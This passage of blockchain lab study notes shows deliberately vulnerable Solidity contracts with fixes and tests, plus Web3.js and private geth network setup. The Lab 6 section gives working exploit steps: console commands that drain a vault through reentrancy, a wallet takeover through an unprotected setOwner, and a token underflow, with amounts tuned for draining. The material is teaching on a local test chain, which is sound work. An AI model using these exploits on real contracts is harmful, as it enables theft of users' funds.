    }
}
```

contracts/FixedVault.sol (checks-effects-interactions plus a lock)

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract FixedVault {
    mapping(address => uint256) public balances;
    bool private locked;

    modifier nonReentrant() {
        require(!locked, "Reentrant call");
        locked = true;
        _;
        locked = false;
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public nonReentrant {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "No balance");          // CHECK
        balances[msg.sender] = 0;                 // EFFECT first
        (bool ok, ) = msg.sender.call{value: bal}("");   // INTERACTION last
        require(ok, "Transfer failed");
    }

    function vaultBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
```

migrations/2_deploy.js (so `artifacts.require` works in the console; keep it simple)

```
module.exports = function (deployer) {};   // contracts are created with
.new() in the console
```

Exploit demonstration (truffle console):

```
truffle compile
truffle console --network development
```

```
const V = artifacts.require("VulnerableVault"), A =
artifacts.require("Attacker")
let acc = await web3.eth.getAccounts()
let vault = await V.new()
await vault.deposit({from: acc[1], value: web3.utils.toWei("5", "ether")})
// honest users
await vault.deposit({from: acc[2], value: web3.utils.toWei("5", "ether")})
web3.utils.fromWei(await web3.eth.getBalance(vault.address))
// 10
let atk = await A.new(vault.address, {from: acc[3]})
await atk.attack({from: acc[3], value: web3.utils.toWei("1", "ether")})
web3.utils.fromWei(await web3.eth.getBalance(vault.address))
// 0  => drained
web3.utils.fromWei(await web3.eth.getBalance(atk.address))
// 11 => attacker keeps all
```

Positive and negative tests on the fixed contract:

```
const F = artifacts.require("FixedVault")
let fv = await F.new()
await fv.deposit({from: acc[1], value: web3.utils.toWei("5", "ether")})
await fv.deposit({from: acc[2], value: web3.utils.toWei("5", "ether")})
// POSITIVE: honest withdrawal works
await fv.withdraw({from: acc[1]})
web3.utils.fromWei(await web3.eth.getBalance(fv.address))
// 5
// NEGATIVE: same attack now fails
let atk2 = await A.new(fv.address, {from: acc[3]})
try { await atk2.attack({from: acc[3], value: web3.utils.toWei("1",
"ether")}); console.log("ATTACK SUCCEEDED (bad)") } catch (e) {
console.log("Attack blocked:", e.message) }
web3.utils.fromWei(await web3.eth.getBalance(fv.address))
// still 5
```

B. Missing access control

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableWallet {
    address public owner;
    constructor() { owner = msg.sender; }

    function deposit() public payable {}

    function setOwner(address newOwner) public {          // BUG: anyone can
take over
        owner = newOwner;
    }

    function withdrawAll() public {
        require(msg.sender == owner, "Not owner");
        payable(msg.sender).transfer(address(this).balance);
    }
}
```

Exploit: `await w.setOwner(acc[3], {from: acc[3]})` then `await w.withdrawAll({from: acc[3]})` steals the funds.

Fix:

```
modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; }

function setOwner(address newOwner) public onlyOwner {
    require(newOwner != address(0), "Zero address");
    owner = newOwner;
}
function withdrawAll() public onlyOwner {
    payable(msg.sender).transfer(address(this).balance);
}
```

Tests: positive: `w.setOwner(acc[1], {from: acc[0]})` succeeds and `await w.owner()` equals `acc[1]`. Negative: `w.setOwner(acc[3], {from: acc[3]})` reverts with `Not owner`.

C. Improper validation (underflow, no balance check)

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract BadToken {
    mapping(address => uint256) public balances;
    constructor() { balances[msg.sender] = 1000; }

    function transfer(address to, uint256 amt) public {
        unchecked {                                    // simulates pre-0.8
behaviour
            balances[msg.sender] -= amt;               // BUG: no balance
check, wraps to a huge number
            balances[to] += amt;
        }
    }
}
```

Exploit: an account with 0 tokens calls `transfer(acc[2], 1)` and ends with about 2^256 tokens. **Fix:** remove `unchecked` (0.8 reverts on underflow) and add explicit validation:

```
function transfer(address to, uint256 amt) public {
    require(to != address(0), "Zero address");
    require(balances[msg.sender] >= amt, "Insufficient balance");
    balances[msg.sender] -= amt;
    balances[to] += amt;
}
```

Optional: automated test file (`truffle test`)

```
// test/vault.test.js
const FixedVault = artifacts.require("FixedVault");
const Attacker = artifacts.require("Attacker");

contract("FixedVault", (accounts) => {
  const [owner, user, hacker] = accounts;
  const eth = (n) => web3.utils.toWei(String(n), "ether");

  it("lets an honest user deposit and withdraw", async () => {
    const v = await FixedVault.new();
    await v.deposit({ from: user, value: eth(2) });
    await v.withdraw({ from: user });
    assert.equal((await v.balances(user)).toString(), "0");
  });
```

```
  it("blocks the reentrancy attack", async () => {
    const v = await FixedVault.new();
    await v.deposit({ from: user, value: eth(5) });
    const a = await Attacker.new(v.address, { from: hacker });
    let failed = false;
    try { await a.attack({ from: hacker, value: eth(1) }); } catch (e) {
failed = true; }
    assert.isTrue(failed, "attack should revert");
    assert.equal(await web3.eth.getBalance(v.address), eth(5));
  });
});
```

Run: `truffle test` (needs the Ganache node running, or Truffle's built-in test chain).

Static-analysis tools (only if preinstalled)

`slither .` or `myth analyze contracts/VulnerableVault.sol`, which flag reentrancy and access-control patterns. Do not rely on them, and mention manual review as the primary method.

Lab 6 test inputs (vary the amounts the examiner may choose)

Run these in `truffle console --network development` after defining `V`, `A`, `F`, `acc` as in the exploit section. Each row says whom to deposit with and what the attacker sends. "Honest" deposits are made from accounts 1 and 2.

Case	Setup	Expected result
Reentrancy on `VulnerableVault`	Honest 10 ETH total, attacker sends 1 ETH	Vault ends at 0; attacker contract holds 11 ETH
Larger vault	Honest 20 ETH, attacker 1 ETH	Attacker takes 11 ETH, vault keeps 10: my `Attacker` stops after 10 re-entries (`count < 10`); raise the cap to drain more
Larger attacker deposit	Honest 10 ETH, attacker 5 ETH	Vault drained, attacker holds 15 ETH (exactly 3 withdrawals of 5)
Attack too small	Attacker sends 0.5 ETH	Revert `Send at least 1 ETH` (attacker-contract rule, not the vault's)

Case	Setup	Expected result
Empty vault	Honest 0 ETH, attacker 1 ETH	Attacker just gets its own 1 ETH back: no profit, nothing to steal
Gotcha	Honest 6 ETH, attacker 5 ETH	The whole attack **reverts**: after two withdrawals the vault holds 1 ETH, the third send of 5 ETH fails, and the failure cascades up through every `require(ok)`. Real exploits choose the deposit to avoid this; it is also why exploit amounts are tuned
`FixedVault`, same attack as the first row	Honest 10 ETH, attacker 1 ETH	`attack()` reverts (`Transfer failed` / `Reentrant call`); vault still 10 ETH
`FixedVault`, honest withdraw	acc1 deposits 3, acc2 deposits 2, acc1 `withdraw`	acc1 gets 3 ETH back (minus gas); `balances(acc2)` is still 2 ETH; vault holds 2 ETH
`FixedVault`, double withdraw	acc1 `withdraw` twice	Second call reverts `No balance`
`FixedVault`, withdraw with no deposit	acc5 `withdraw`	Reverts `No balance`
Zero-value deposit	`deposit({value: 0})`	Succeeds, balance stays 0 (no check needed; mention it as a design choice)
`VulnerableWallet` takeover	`setOwner(acc3, {from: acc3})`, then `withdrawAll({from: acc3})`	Succeeds: acc3 steals the funds
Fixed wallet takeover	same calls on the fixed wallet	`setOwner` reverts `Not owner`; `owner()` unchanged
Fixed wallet, owner action	`setOwner(acc1, {from: acc0})`	Succeeds; then acc0 can no longer call `withdrawAll`
Fixed wallet, zero address	`setOwner(0x0000000000000000000000000000000000000000, {from: acc0})`	Reverts `Zero address`

Case	Setup	Expected result
`BadToken` underflow	`transfer(acc2, 1, {from: acc1})` where acc1 holds 0	acc1 balance becomes 2^256 - 1 (`a 78-digit number`), acc2 gets 1
Fixed token, overspend	`transfer(acc2, 1001)` from the deployer holding 1000	Reverts `Insufficient balance`
Fixed token, exact balance	`transfer(acc2, 1000)`	Succeeds; deployer 0, acc2 1000
Fixed token, zero amount / self-transfer	`transfer(acc2, 0)` , `transfer(deployer, 5)`	Both succeed; balances unchanged for the self-transfer

If the examiner picks a vulnerability not covered, use the identification table at the top of this lab: read the code for an external call before a state update, a missing `require(msg.sender == ...)` , an `unchecked` block, or an ignored return value, and name it in one sentence before touching the code.

Lab 6: common errors and how to resolve them

The Lab 5 setup errors (Ganache not running, wrong compiler, not deployed) apply here too. Specific to this lab:

Symptom or message	Likely cause	Check	Fix
`Member "call" not found` or `Expected ';' but got '{'` on `.call{value: x}("")`	Compiler older than 0.6.2	`truffle version`	Set solc 0.8.19, or use `.call.value(x)("")` on 0.5.x
Attack contract: `Contract ... should be marked as abstract` or ETH transfer fails	Missing `receive() external payable`	Read the attacker contract	Add `receive() external payable { ... }`

Symptom or message	Likely cause	Check	Fix
Exploit **did not drain** the vulnerable vault	State updated before the call (already fixed), `transfer` used (2300 gas, cannot re-enter), a re-entry cap, or the cascade (vault balance falls below the deposit)	Print `await vault.vaultBalance()` and `atk.count()`	Make sure the vulnerable code uses `call` then updates state; use a deposit of 1 ETH with at least 10 ETH in the vault
`revert Send at least 1 ETH`	Forgot `{value: ...}` on `attack`	Look at the call	Pass `value: web3.utils.toWei("1","ether")`
`revert Transfer failed` on the **vulnerable** vault	Inner send failed because the vault ran out of ETH, and the failure cascaded	Vault balance vs deposit size	Choose amounts so the final send does not exceed the vault balance
`Could not find artifacts for Attacker`	Contract name differs from the file or compile error	`truffle compile`; `ls build/contracts`	Fix names; one contract per file is simplest

Symptom or message	Likely cause	Check	Fix
Fix "does not work": exploit still succeeds	You are testing the **old** deployed instance	Which address is `vault.address`?	Create a new instance: `F.new()` and attack that one
Negative test passes even when no revert occurs	The test never asserts a failure	Remove the `try` and see if it throws	In tests use the `reverts()` helper that calls `assert.fail` when no revert happens
`VM Exception ... revert Reentrant call` shows up in a legitimate withdraw	`locked` flag left true after an earlier revert in a custom edit	Inspect modifier order	Keep `locked = false` after `_;`; reverts roll back the flag automatically
`Insufficient funds` after many tests	Accounts drained by gas and deposits	`getBalance(acc[3])`	Restart Ganache with `-d` and redeploy
`acc[x]` undefined	Typo in index or `acc` not defined in the console	`acc.length`	`let acc = await web3.eth.getAccounts()`
Conversion errors with big numbers (`BN`)	Mixing JS numbers with wei	Print `.toString()`	Use `web3.utils.toWei` and `fromWei`; compare as strings
Wrong vulnerability named	Misreading the pattern	Use the identification table at the top of this lab	State what to look for: external call before effects, missing `require(msg.sender == ...)`, `unchecked`, `tx.origin`, ignored `ok`

Viva theory

Reentrancy. An external call hands control to untrusted code, which can call back into the same function before the first call finishes and before state is updated. Real example: **The DAO hack (2016)**, about 3.6 million ETH drained, which led to the Ethereum/Ethereum Classic hard fork. Fixes: **checks-effects-interactions**, a **mutex** (`nonReentrant`), and **pull-over-push** payments (users withdraw their own funds).

Why `transfer` was once considered safe: it forwards only 2,300 gas, too little to re-enter. It is no longer recommended because gas costs change; `call` with CEI is the modern approach.

Access control. Every state-changing function that is not meant for the public needs an authorization check. Real example: **Parity multisig (2017)**, where an unprotected initialization function let someone become owner and then `selfdestruct` a shared library, freezing about 500,000 ETH. Use `onlyOwner` , role-based control (OpenZeppelin `AccessControl`), and multisigs.

tx.origin vs msg.sender. `tx.origin` is the original signer of the whole transaction chain; `msg.sender` is the direct caller. Authenticating with `tx.origin` lets a malicious contract the owner is tricked into calling act with the owner's authority (phishing).

Integer overflow/underflow. Before 0.8, arithmetic wrapped silently (the 2018 BEC token bug minted huge balances). From 0.8 it reverts by default; `unchecked {}` opts out for gas savings.

Other common weaknesses: unchecked low-level call return values, delegatecall to untrusted code, front-running (transaction ordering visible in the mempool), timestamp dependence, weak randomness (`block.timestamp` , `blockhash`), DoS via reverting receivers, oracle manipulation.

Secure development practice: minimal logic, audited libraries (OpenZeppelin), tests for both success and failure paths, static analysis, formal review, bug bounties. Because deployed code is immutable, bugs are permanent unless a proxy/upgrade pattern was planned.

Typical viva questions: Why does reordering two lines fix the reentrancy? (Balance is zeroed before the external call, so the re-entered call sees 0 and fails.) Is the `nonReentrant` lock alone enough? (It blocks same-contract reentrancy; CEI is still the primary defense, and cross-contract reentrancy needs thought.) Why did the attacker's whole transaction revert on the fixed contract? (The inner withdraw reverted, `ok` was false, outer `require(ok)` reverted everything, including the attacker's deposit.) Why test the negative case? (A fix that breaks legitimate use, or fails to stop the exploit, is no fix.)

Lab 7: Ganache / local Ethereum with Web3.js

Connect a Node.js script to the local RPC endpoint, list accounts and balances, send Ether and a contract transaction, then analyze the receipt.

Setup

```
# Terminal A (skip if the Ganache GUI or node is already running; note its
port: 8545 or 7545)
ganache-cli -d -p 8545        # or: ganache -d -p 8545

# Terminal B: use the supplied project folder so node_modules is already
there
cd <supplied-project-folder>
ls node_modules | grep -i web3        # confirm web3 exists (no internet, so
do NOT npm install)
node -e "console.log(require('web3/package.json').version)"   # 1.x or 4.x
```

Check the RPC endpoint is alive: `curl -s -X POST -H 'Content-Type: application/json' --data '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":1}' http://127.0.0.1:8545` returns `{"result":"0x0"...}`.

If the script is outside the project and cannot find `web3`: `export NODE_PATH=<supplied-project-folder>/node_modules`.

Code: lab7.js (Tasks 1 to 4, Ether transfer)

```
const Web3 = require("web3");               // web3 v4: const { Web3 } =
require("web3");
const web3 = new Web3("http://127.0.0.1:8545");   // change port if the
examiner's node uses 7545

async function main() {
  // ---------- Task 1: connect, list accounts and balances ----------
  console.log("[Task 1] Network ID  :", await web3.eth.net.getId());
  console.log("[Task 1] Block number:", await web3.eth.getBlockNumber());
  const accounts = await web3.eth.getAccounts();
  for (const [i, a] of accounts.entries()) {
    const bal = await web3.eth.getBalance(a);
    console.log(`  [${i}] ${a}  ${web3.utils.fromWei(bal.toString(),
"ether")} ETH`);
  }

  // ---------- Task 2: Ether transfer between specified accounts ----------
```

```
  const sender = accounts[0], receiver = accounts[1];
  const before = [await web3.eth.getBalance(sender), await
web3.eth.getBalance(receiver)];
  const sent = await web3.eth.sendTransaction({
    from: sender,
    to: receiver,
    value: web3.utils.toWei("1", "ether"),
  });
  console.log("\n[Task 2] Transaction hash:", sent.transactionHash);

  // ---------- Task 3: receipt analysis ----------
  const receipt = await web3.eth.getTransactionReceipt(sent.transactionHash);
  const tx = await web3.eth.getTransaction(sent.transactionHash);
  console.log("[Task 3] from        :", receipt.from);
  console.log("[Task 3] to          :", receipt.to);
  console.log("[Task 3] blockNumber :", receipt.blockNumber);
  console.log("[Task 3] status      :", receipt.status, "(true = success)");
  console.log("[Task 3] gasUsed     :", receipt.gasUsed, "(plain transfer =
21000)");
  const price = tx.gasPrice;
  console.log("[Task 3] gasPrice    :", price, "wei");
  console.log("[Task 3] fee         :",
web3.utils.fromWei(web3.utils.toBN(receipt.gasUsed).mul(web3.utils.toBN(price
)).toString(), "ether"), "ETH");
  const after = [await web3.eth.getBalance(sender), await
web3.eth.getBalance(receiver)];
  console.log("[Task 3] sender   change:",
web3.utils.fromWei(web3.utils.toBN(after[0]).sub(web3.utils.toBN(before[0])).
toString(), "ether"), "ETH (value + fee)");
  console.log("[Task 3] receiver change:",
web3.utils.fromWei(web3.utils.toBN(after[1]).sub(web3.utils.toBN(before[1])).
toString(), "ether"), "ETH");

  // ---------- Task 4: modified account / value, and error handling --------
--
  async function trySend(label, params) {
    try {
      const r = await web3.eth.sendTransaction(params);
      console.log(`[Task 4] ${label}: OK block ${r.blockNumber}, gasUsed
${r.gasUsed}`);
    } catch (e) {
      console.log(`[Task 4] ${label}: FAILED -> ${e.message}`);
    }
  }
  await trySend("2 ETH from acct[2] to acct[3]", { from: accounts[2], to:
accounts[3], value: web3.utils.toWei("2", "ether") });
```

```
  await trySend("1,000,000 ETH (insufficient funds)", { from: sender, to:
receiver, value: web3.utils.toWei("1000000", "ether") });
  await trySend("gas limit 1000 (too low)", { from: sender, to: receiver,
value: "1", gas: 1000 });
}

main().catch(console.error);
```

Run: `node lab7.js`

Version note: the script uses `web3.utils.toBN`, which exists in Web3.js 1.x and works on old Node (including Node 8, which you used earlier). On Web3.js 4.x, `toBN` is gone and balances are already `BigInt`: replace those three expressions with plain BigInt arithmetic, e.g. `BigInt(receipt.gasUsed) * BigInt(price)`, and use `web3.utils.fromWei(x.toString(), "ether")`.

Code: lab7_contract.js (smart-contract transaction)

Use this if the task says "smart-contract transaction". It reuses the Truffle build output from Lab 5 (deploy `SimpleStorage` first with `truffle migrate`), or the supplied ABI/address.

```
const Web3 = require("web3");
const web3 = new Web3("http://127.0.0.1:8545");
const artifact = require("./build/contracts/SimpleStorage.json");   // or
supplied abi file

async function main() {
  const accounts = await web3.eth.getAccounts();
  const netId = await web3.eth.net.getId();
  const address = artifact.networks[netId].address;               // or paste
the supplied address
  const contract = new web3.eth.Contract(artifact.abi, address);

  // state-changing: needs a transaction, returns a receipt
  const receipt = await contract.methods.set(77).send({ from: accounts[0],
gas: 200000 });
  console.log("tx hash   :", receipt.transactionHash);
  console.log("block     :", receipt.blockNumber, " gasUsed:",
receipt.gasUsed, " status:", receipt.status);
  console.log("event     :", receipt.events.ValueChanged.returnValues);

  // read-only: call, free, no receipt
  console.log("get()     :", await contract.methods.get().call());

  // Task 4 style change: a non-owner call must revert
```

```
  try {
    await contract.methods.set(5).send({ from: accounts[1], gas: 200000 });
  } catch (e) {
    console.log("non-owner :", e.message);
  }
}
main().catch(console.error);
```

Run: `node lab7_contract.js`

Ethers.js equivalent (if the supplied starter uses Ethers)

```
// ethers v6: const { ethers } = require("ethers");
// ethers v5: const { ethers } = require("ethers"); provider = new
ethers.providers.JsonRpcProvider(...)
const { ethers } = require("ethers");
(async () => {
  const provider = new ethers.JsonRpcProvider("http://127.0.0.1:8545");   //
v5: new ethers.providers.JsonRpcProvider
  const signer = await provider.getSigner(0);                              //
Ganache unlocks its accounts
  const to = (await provider.listAccounts())[1];                           //
v6 returns signer objects: use .address
  console.log("balance:", ethers.formatEther(await provider.getBalance(await
signer.getAddress())));   // v5: ethers.utils.formatEther
  const tx = await signer.sendTransaction({ to: to.address ?? to, value:
ethers.parseEther("1") });      // v5: ethers.utils.parseEther
  const receipt = await tx.wait();
  console.log(receipt.hash ?? receipt.transactionHash, receipt.blockNumber,
receipt.gasUsed.toString(), receipt.status);
})();
```

Reading the output (Task 3 talking points)

Field	Meaning
`transactionHash`	Unique ID: hash of the signed transaction
`from` / `to`	Sender EOA / receiver address (`to` is null for contract creation)
`blockNumber`	Block that included the transaction
`status`	`true` (1) success, `false` (0) reverted
`gasUsed`	Gas actually consumed (21,000 for a plain transfer)

Field	Meaning
`cumulativeGasUsed`	Total gas used in the block up to this transaction
`gasPrice` / effective price	Wei paid per gas unit
`logs` / `events`	Events emitted by the contract
`contractAddress`	Set only when the transaction deployed a contract

Sender's balance falls by `value + gasUsed × gasPrice`; receiver's rises by exactly `value`.

Likely examiner modifications and their errors

Change	Result and explanation
Different sender or receiver (e.g. `accounts[4]`)	Works; show new balances
Larger or smaller `value`	Receipt same gas; balances change accordingly
Value above sender's balance	`sender doesn't have enough funds to send tx`
Invalid receiver address	`invalid address` / ENS error, rejected before sending
`gas: 1000`	`intrinsic gas too low` (needs at least 21,000)
Contract call from non-owner	Revert with the `require` message; status false
Wrong port	`Invalid JSON RPC response: ""` / connection refused: fix the URL
Using an account the node has not unlocked	`unknown account`: use a Ganache account, or sign a raw transaction with the private key (`web3.eth.accounts.signTransaction`)

Interactive version: lab7_input.js (asks for sender, receiver and value)

With internet available, install Web3.js 1.x in the project folder: `npm install web3@1.10.4`. Accounts can be given as an index (`0` to `9`) or a full address. Set `RPC=http://127.0.0.1:7545` if the node uses another port.

```
const Web3 = require("web3");
const readline = require("readline");
const web3 = new Web3(process.env.RPC || "http://127.0.0.1:8545");
const rl = readline.createInterface({ input: process.stdin, output:
process.stdout });
const ask = (q) => new Promise((resolve) => rl.question(q, resolve));

function resolveAccount(accounts, text) {
  if (/^\d+$/.test(text)) {
    if (Number(text) >= accounts.length) throw new Error("account index out
of range (0 to " + (accounts.length - 1) + ")");
    return accounts[Number(text)];
  }
  if (web3.utils.isAddress(text)) return text;
  throw new Error("not an account index or a valid address: " + text);
}

async function main() {
  const accounts = await web3.eth.getAccounts();                      //
Task 1
  console.log("Network ID:", await web3.eth.net.getId(), " block:", await
web3.eth.getBlockNumber());
  for (const [i, a] of accounts.entries()) {
    console.log(`  [${i}] ${a}  ${web3.utils.fromWei(await
web3.eth.getBalance(a), "ether")} ETH`);
  }
  while (true) {
    const f = (await ask("\nFrom (index or address, Enter = quit):
")).trim();
    if (f === "") break;
    try {
      const from = resolveAccount(accounts, f);
      const to = resolveAccount(accounts, (await ask("To   (index or
address): ")).trim());
      const eth = (await ask("Value in ETH: ")).trim();
      const value = web3.utils.toWei(eth, "ether");                   //
throws on bad numbers
      const bal0 = [await web3.eth.getBalance(from), await
web3.eth.getBalance(to)];
      const r = await web3.eth.sendTransaction({ from, to, value });   //
Task 2
      const tx = await web3.eth.getTransaction(r.transactionHash);     //
Task 3
      const fee =
web3.utils.toBN(r.gasUsed).mul(web3.utils.toBN(tx.gasPrice));
      const bal1 = [await web3.eth.getBalance(from), await
```

```
web3.eth.getBalance(to)];
      const d = (a, b) =>
web3.utils.fromWei(web3.utils.toBN(b).sub(web3.utils.toBN(a)).toString(),
"ether");
      console.log("  hash    :", r.transactionHash);
      console.log("  block   :", r.blockNumber, " status:", r.status, "
gasUsed:", r.gasUsed);
      console.log("  fee     :", web3.utils.fromWei(fee.toString(), "ether"),
"ETH");
      console.log("  sender   change:", d(bal0[0], bal1[0]), "ETH (should be
-(value + fee))");
      console.log("  receiver change:", d(bal0[1], bal1[1]), "ETH (should be
+value)");
    } catch (e) {
      console.log("  FAILED:", e.message);                                //
Task 4: explain the message
    }
  }
  rl.close();
}
main().catch((e) => { console.error(e); process.exit(1); });
```

Run: `node lab7_input.js` (Web3.js 4.x: replace the `toBN` arithmetic with BigInt as noted earlier).

Contract transaction with input: replace the hardcoded `set(77)` line in `lab7_contract.js` with the following, then run `node lab7_contract.js 77 0` (value, then account index):

```
const [, , valueArg = "1", fromArg = "0"] = process.argv;
const receipt = await contract.methods.set(valueArg).send({ from:
accounts[Number(fromArg)], gas: 200000 });
```

Lab 7 test inputs (Ganache with `-d`: 10 accounts, 100 ETH each)

From	To	Value	Expected result
`0`	`1`	`1`	`status: true`, `gasUsed: 21000`; sender change = -(1 + fee), receiver change = +1
`0`	`1`	`0.5`	Works; receiver +0.5
`0`	`1`	`0.000000001`	Works (1 gwei): fractional values are fine

From	To	Value	Expected result
`0`	`1`	`0`	Works: a zero-value transfer still costs 21,000 gas and fee
`2`	`3`	`2`	Works with other accounts
`0`	`0`	`1`	Works: sender and receiver are the same account, so both change lines show -fee and the value nets out to zero
`0`	a pasted address of account 4	`1`	Works with a full address
`0`	`1`	`1000000`	`FAILED: ... sender doesn't have enough funds` (or `insufficient funds` on newer Ganache)
`0`	`10`	`1`	`FAILED: account index out of range (0 to 9)`
`0`	`abc`	`1`	`FAILED: not an account index or a valid address`
`0`	`0x123`	`1`	`FAILED: not an account index or a valid address`
`0`	`1`	`abc`	`FAILED: ... invalid number value`
`0`	`1`	`-1`	`FAILED` (negative value is rejected)
`0`	`1`	`100`	Fails if the sender's balance is below 100 ETH plus fee (after earlier sends, it is); otherwise succeeds. Try a value just under the balance to see the fee make it fail

After each success, run `await web3.eth.getBlockNumber()` or watch the Ganache terminal: the block number increases by one per mined transaction, and the Ganache log lists the transaction hash and gas used, matching what your script printed. Contract-call tests: `node lab7_contract.js 77 0` gives `get(): 77`; `node lab7_contract.js 77 1` fails with `revert Only owner`; `node lab7_contract.js 5000 0` fails with `Value exceeds max` if `maxValue` is 1000.

Lab 7: more common errors and how to resolve them

(These add to the examiner-modification table earlier in this lab.)

Symptom or message	Likely cause	Check	Fix
`Error: Cannot find module 'web3'`	Package not installed in this folder	`ls node_modules`, `pwd`	`npm install web3@1.10.4` in the script's folder, or `export NODE_PATH=<project>/node_modules`
`Error: Invalid JSON RPC response: ""` or `ECONNREFUSED 127.0.0.1:8545`	Ganache not running or on another port	`ss -ltn`; the `curl` eth_blockNumber test from Lab 7 setup	Start Ganache; use `RPC=http://127.0.0.1:7545 node lab7_input.js`
`TypeError: Web3 is not a constructor`	Web3.js 4.x export style	`node -e "console.log(require('web3/package.json').version)"`	`const { Web3 } = require("web3")`, or install 1.x
`web3.utils.toBN is not a function`	Web3.js 4.x has no `toBN`	Same version check	Use `BigInt`, or install `web3@1.10.4`
`ReferenceError: BigInt is not defined`	Very old Node	`node --version`	`nvm install 18 && nvm use 18`
`SyntaxError: await is only valid in async functions`	`await` used at top level	Look at the line	Put code inside `async function main()` and call `main()`
`SyntaxError: Cannot use import statement outside a module`	Mixed ES module and CommonJS syntax	First line of the script	Use `require`, or rename to `.mjs`
`Provided address "0x..." is invalid`	Typo, missing characters, or wrong checksum case	Count 40 hex characters after `0x`	Copy from the printed account list; use lower-case if a mixed-case checksum fails
`sender doesn't have enough funds to send tx`	Value plus fee exceeds balance	Print balance before sending	Lower the value; this is the expected error in Task 4
`Returned error: authentication needed: password or unlock`	Account is not unlocked (geth node, not Ganache)	`eth.accounts` and unlock status	`personal.unlockAccount(...)` in the geth console, or sign locally
`Transaction has been reverted by the EVM` on a contract call	A `require` failed (non-owner, value above max)	`await contract.methods.set(v).call({from})` shows the reason	Use the right sender; print the reason
`Returned values aren't valid, did it run Out of Gas?`	Address in the script has no contract on this chain (Ganache restarted)	Re-read the address from `build/contracts/*.json`	`truffle migrate --reset` and use `artifact.networks[netId].address`
`artifact.networks[netId]` is undefined	Contract never migrated to this network id	`console.log(Object.keys(artifact.networks), netId)`	Migrate on this Ganache instance
`gas required exceeds allowance`	Gas limit too low	Error text	Add `gas: 200000` to `send`
Balances look off by a tiny amount	Gas fees	Fee line in output	Expected: sender loses value plus fee
Value 1 transfers a tiny amount	Forgot `toWei` (1 wei, not 1 ETH)	Print the value sent	`web3.utils.toWei("1", "ether")`

Viva theory

Ganache. A local, in-memory Ethereum node with 10 pre-funded unlocked accounts; blocks are mined instantly when a transaction arrives, and the chain resets on restart unless a database path is given. Used for development without real Ether.

JSON-RPC. Ethereum nodes expose methods like `eth_blockNumber`, `eth_getBalance`, `eth_sendTransaction`, `eth_getTransactionReceipt` over HTTP (usually port 8545). Web3.js and Ethers.js are libraries that wrap these calls and ABI encoding.

Provider and signer. A *provider* reads blockchain data; a *signer* holds a private key and signs transactions. Ganache accounts are unlocked in the node, so `from` is enough; on a real network you must sign locally (MetaMask, private key) and send the raw transaction.

Transaction anatomy. Fields: `nonce`, `gasPrice` (or `maxFeePerGas` / `maxPriorityFeePerGas` after EIP-1559), `gasLimit`, `to`, `value`, `data`, signature (`v`, `r`, `s`). The nonce prevents replay and enforces ordering.

Units. 1 ETH = 10^18 wei; 1 gwei = 10^9 wei; `toWei` and `fromWei` convert. Never use JavaScript floats for wei (use strings or BigInt).

Call vs send. `.call()` simulates locally, returns a value, no gas, no receipt. `.send()` creates a transaction, costs gas, and returns a receipt after mining.

ABI. JSON description of a contract's functions and events; encodes the function selector (first 4 bytes of the Keccak-256 hash of the signature) and arguments.

Typical viva questions: Why did the sender lose more than 1 ETH? (Gas fee.) What is the nonce for? (Replay protection and transaction ordering per account.) Why can't you read a private key from a node? (It never leaves the wallet; the node only unlocks accounts in dev.) What does `status: false` mean while the transaction still has a hash? (It was mined but reverted; state undone, fee paid.) Why is `getBalance` a string? (Values exceed JavaScript's safe integer range.)

Lab 8: Private Ethereum network with three nodes (Docker geth)

The exam gives you preinitialized nodes and start scripts, so your real job is: start them, prove they are peers, send a transaction on one node and see it on another, and fix a fault. The full from-scratch recipe is included because it explains every flag you may be asked about, and doubles as a reference if the scripts need repair.

First, look at what is provided

```
cd <supplied-folder> && ls -la          # look for start.sh / stop.sh /
docker-compose.yml / genesis.json / node1 node2 node3
cat start.sh 2>/dev/null                # read the exact flags, ports,
networkid, image tag
cat docker-compose.yml 2>/dev/null
docker images                           # find the geth image tag that exists
locally (no pulls allowed)
docker ps -a                            # existing containers
```

Version warning: the recipe below uses a geth version up to 1.13.x, which still supports Clique proof-of-authority with no consensus client. From geth 1.14 onward, mining/Clique private networks are gone (post-Merge, they need a separate consensus-layer client), so if the image is 1.14+, the supplied scripts will be built differently; follow the supplied scripts and use only the verification and troubleshooting commands below.

Task 1: start the network

With the supplied scripts: `./start.sh` or `docker compose up -d` (then `docker compose ps`, or `docker ps` showing three running containers).

From scratch reference (geth 1.13.x, Clique PoA):

```
export IMG=ethereum/client-go:v1.13.15       # use the tag shown by `docker
images`
mkdir -p ~/lab8 && cd ~/lab8 && mkdir node1 node2 node3
echo "pass123" > password.txt
docker network create --subnet 172.20.0.0/16 ethnet

# 1) one account per node
for n in 1 2 3; do
  docker run --rm -v $PWD/node$n:/root/.ethereum -v
$PWD/password.txt:/password.txt $IMG \
    account new --password /password.txt
done
ADDR1=$(ls node1/keystore | sed 's/.*--//'); ADDR2=$(ls node2/keystore | sed
's/.*--//'); ADDR3=$(ls node3/keystore | sed 's/.*--//')
echo $ADDR1 $ADDR2 $ADDR3        # 40 hex chars each, no 0x
```

```
# 2) genesis.json: Clique PoA, node1 is the sealer (signer), all three
accounts pre-funded
PAD64=$(printf '0%.0s' {1..64}); PAD130=$(printf '0%.0s' {1..130})
cat > genesis.json <<EOF
{
  "config": {
```

```
    "chainId": 12345,
    "homesteadBlock": 0, "eip150Block": 0, "eip155Block": 0, "eip158Block":
0,
    "byzantiumBlock": 0, "constantinopleBlock": 0, "petersburgBlock": 0,
    "istanbulBlock": 0, "berlinBlock": 0, "londonBlock": 0,
    "clique": { "period": 5, "epoch": 30000 }
  },
  "difficulty": "1",
  "gasLimit": "8000000",
  "extradata": "0x${PAD64}${ADDR1}${PAD130}",
  "alloc": {
    "${ADDR1}": { "balance": "1000000000000000000000" },
    "${ADDR2}": { "balance": "1000000000000000000000" },
    "${ADDR3}": { "balance": "1000000000000000000000" }
  }
}
EOF

# 3) initialize every node with the SAME genesis
for n in 1 2 3; do
  docker run --rm -v $PWD/node$n:/root/.ethereum -v
$PWD/genesis.json:/genesis.json $IMG init /genesis.json
done
```

```
